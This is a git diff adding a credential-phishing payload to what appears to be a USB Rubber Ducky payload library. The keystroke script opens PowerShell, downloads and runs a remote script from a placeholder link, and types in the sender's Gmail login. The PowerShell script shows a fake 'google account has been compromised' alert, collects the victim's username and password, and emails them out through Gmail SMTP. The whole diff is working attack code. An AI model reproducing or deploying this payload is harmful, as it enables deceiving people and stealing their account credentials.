diff --git a/payloads/library/phishing/duckyphish/duckyphish.ps1 b/payloads/library/phishing/duckyphish/duckyphish.ps1 new file mode 100644 index 0000000..2c87593 --- /dev/null +++ b/payloads/library/phishing/duckyphish/duckyphish.ps1 @@ -0,0 +1,13 @@ +clear +$mycredentials = Get-Credential +Write-Host "ALERT your google account has been compromised! please enter your credentials for verification" + +$name = Read-Host "Username/Email" +$pwd = Read-Host "password" + + + + +Send-MailMessage -SmtpServer smtp.gmail.com -Port 587 -UseSsl -From sendingemailhere -To receiveemailhere -Subject 'Hello from the ducky' -Body ("$name $pwd") -Credential ($mycredentials) +exit + diff --git a/payloads/library/phishing/duckyphish/duckyphish.txt b/payloads/library/phishing/duckyphish/duckyphish.txt new file mode 100644 index 0000000..78502b7 --- /dev/null +++ b/payloads/library/phishing/duckyphish/duckyphish.txt @@ -0,0 +1,24 @@ +DELAY 1000 +GUI r +DELAY 500 +STRING powershell -w maximized +ENTER +DELAY 200 +REM now we read in the script as a scriptblock +STRING $script = [scriptblock]::Create((New-Object Net.WebClient).DownloadString('LINK HERE')); +DELAY 500 +ENTER +DELAY 2000 +STRING Invoke-Command -ScriptBlock $script +DELAY 500 +ENTER +REM enter credentials for "Get-Credential" powershell module +DELAY 500 +STRING firsthalfofemail +SHIFT 2 +STRING gmail.com +DELAY 500 +TAB +STRING PASSWORD +DELAY 500 +ENTER \ No newline at end of file